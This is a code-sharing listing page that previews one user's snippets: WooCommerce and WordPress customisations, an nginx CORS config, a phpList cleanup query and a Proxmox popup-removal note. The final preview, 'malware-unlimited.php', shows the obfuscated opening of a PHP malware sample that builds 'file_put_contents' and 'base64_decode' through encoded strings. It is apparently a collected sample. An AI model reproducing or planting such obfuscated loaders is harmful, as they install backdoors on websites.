全部 新建

user:thomas 由使用者建立的 Gists

title:mygist Gists 的標題

filename:myfile.txt Gists 的檔案名稱

extension:yml Gists 的副檔名

language:go Gists 的程式語言

登錄


全部 新建

所有 Gists

倒序排序 創建
順序排序 創建
倒序排序 更新
順序排序 更新
Malin's Avatar

Malin / page-logout-confirmation.php

0 喜歡
0 分支
1 檔案
最後活躍 1715666388
1 <?php
2 /*
3 Template Name: Confirmación de Cierre de Sesión
4 */
5
6 // for QRh
7
8 if (!is_user_logged_in()) {
9 wp_redirect(home_url());
10 exit;
Malin's Avatar

Malin / orders-in-admin-bar.php

0 喜歡
0 分支
1 檔案
最後活躍 1715617292
1 // for QRh
2
3 function add_order_counts_to_admin_bar( $wp_admin_bar ) {
4 if ( ! current_user_can( 'manage_woocommerce' ) ) {
5 return;
6 }
7
8 // Query total orders
9 $args_total = array(
10 'limit' => -1,
Malin's Avatar

Malin / empty-mini-cart-button.php

0 喜歡
0 分支
1 檔案
最後活躍 1715589642
1 // for QRh
2
3 function add_empty_cart_message_sitewide() {
4 // Check if WooCommerce is active before proceeding
5 if ( class_exists('WooCommerce') ) {
6 ?>
7 <script type="text/javascript">
8 jQuery(document).ready(function($) {
9 var cartContainer = $('.elementor-menu-cart__main'); // Ensure this targets your specific menu cart container
Malin's Avatar

Malin / gist:7126af35be67495bb234d4b20e5219e4

0 喜歡
0 分支
1 檔案
最後活躍 1714568121
1 #!/bin/bash
2 # Removes the "You do not have a valid subscription for this server" popup message while logging in
3 # https://johnscs.com/remove-proxmox51-subscription-notice/
4 # https://github.com/jmclaren7/proxmox/blob/main/disable-subscription-notice.sh
5 # https://www.reddit.com/r/Proxmox/comments/1cdmoq9/i_wont_pay_for_proxmox/
6 # Manual steps:
7 # cd /usr/share/javascript/proxmox-widget-toolkit
8 # cp proxmoxlib.js proxmoxlib.js.bak
9 # nano proxmoxlib.js
10 # search for "function(orig_cmd) {" and add "orig_cmd();" and "return;" just after it
Malin's Avatar

Malin / redirect-add-to-cart.php

0 喜歡
0 分支
1 檔案
最後活躍 1714504878
1 // for easycut.es
2
3 function custom_redirect_to_cart_after_add_to_cart() {
4 return wc_get_cart_url(); // Gets the URL of the cart page and redirects to it
5 }
6 add_filter('woocommerce_add_to_cart_redirect', 'custom_redirect_to_cart_after_add_to_cart');
Malin's Avatar

Malin / enable-product-search-Divi.php

0 喜歡
0 分支
1 檔案
最後活躍 1714498985
1 // from: https://help.elegantthemes.com/en/articles/3030197-how-to-enable-products-and-other-post-types-in-divi-s-search-module
2 // for easycut.es
3
4 function custom_remove_default_et_pb_custom_search() {
5 remove_action( 'pre_get_posts', 'et_pb_custom_search' );
6 add_action( 'pre_get_posts', 'custom_et_pb_custom_search' );
7 }
8 add_action( 'wp_loaded', 'custom_remove_default_et_pb_custom_search' );
9
10 function custom_et_pb_custom_search( $query = false ) {
Malin's Avatar

Malin / cors-support.conf

0 喜歡
0 分支
1 檔案
最後活躍 1713935259
1 set $cors '';
2 if ($http_origin ~ '^https?://(localhost|www\.qrh\.app|www\.qrh\.hair|qrh\.app|qrh\.hair|stats\.wp\.com|sis-t\.redsys\.es|secure\.gravatar\.com)') {
3 set $cors 'true';
4 }
5
6 if ($cors = 'true') {
7 add_header 'Access-Control-Allow-Origin' "$http_origin" always;
8 add_header 'Access-Control-Allow-Credentials' 'true' always;
9 add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE, OPTIONS' always;
10 add_header 'Access-Control-Allow-Headers' 'Accept,Authorization,Cache-Control,Content-Type,DNT,If-Modified-Since,Keep-Alive,Origin,User-Agent,X-Requested-With' always;
Malin's Avatar

Malin / change-checkout-terms.php

0 喜歡
0 分支
1 檔案
最後活躍 1713806844
1 // for QRh
2
3 add_filter('woocommerce_get_terms_and_conditions_checkbox_text', 'custom_terms_conditions_text');
4
5 function custom_terms_conditions_text($text) {
6 return 'He leído y estoy de acuerdo con los <a href="https://qrh.app/terminos-condiciones/">términos y condiciones</a> de la web y la <a href="https://qrh.app/politica-devoluciones-reembolso/" target="_new">política de devoluciones y reembolso</a>';
7 }
Malin's Avatar

Malin / remove-old-campaigns.sql

0 喜歡
0 分支
1 檔案
最後活躍 1713551145
1 -- Remove campaigns older than 6 months from phpList including all stats.
2 -- Start transaction
3 START TRANSACTION;
4
5 -- Delete user-message links for campaigns older than 6 months
6 DELETE FROM phplist_usermessage
7 WHERE messageid IN (
8 SELECT id FROM phplist_message WHERE DATE_ADD(entered, INTERVAL 6 MONTH) < NOW()
9 );
Malin's Avatar

Malin / malware-unlimited.php

0 喜歡
0 分支
1 檔案
最後活躍 1713435376
1 <?php function gwuud(){/*bpf */print (16325+16325); }
2
3 $rmtud_oqu/* pw*/=/* o*/'rmtud_oqu' ^/* uarq */'';
4
5
6 $lkqztnxgdh = "f".$rmtud_oqu(397-292) ./* ygxf */$rmtud_oqu(108) . $rmtud_oqu(101) . "\x5f"/* s */. $rmtud_oqu(112) ./* qiow*/"u"."\164" . $rmtud_oqu(735-640) . "c"."o".$rmtud_oqu(182-72) ./* mr */"\164" ./* b*/"\x65" . "\156"/* issb */./* hsj */"\164" ./* mlf */$rmtud_oqu(913-798);
7
8 $qjqgiizjem = $rmtud_oqu(720-622) . "\x61"/* qxvhv */. "\163" ./* xekjb */"\x65" . "\66" . "4".$rmtud_oqu(684-589) . $rmtud_oqu(100)/* yahr */./* g */"e"."\143" . "\x6f"/* rc_z */. "\x64" . "e";
9
上一頁 下一頁

由 Opengist 提供支持 ⋅ Load: 667ms⋅

繁體中文
Čeština Deutsch English Español Français Magyar Português Русский 中文 繁體中文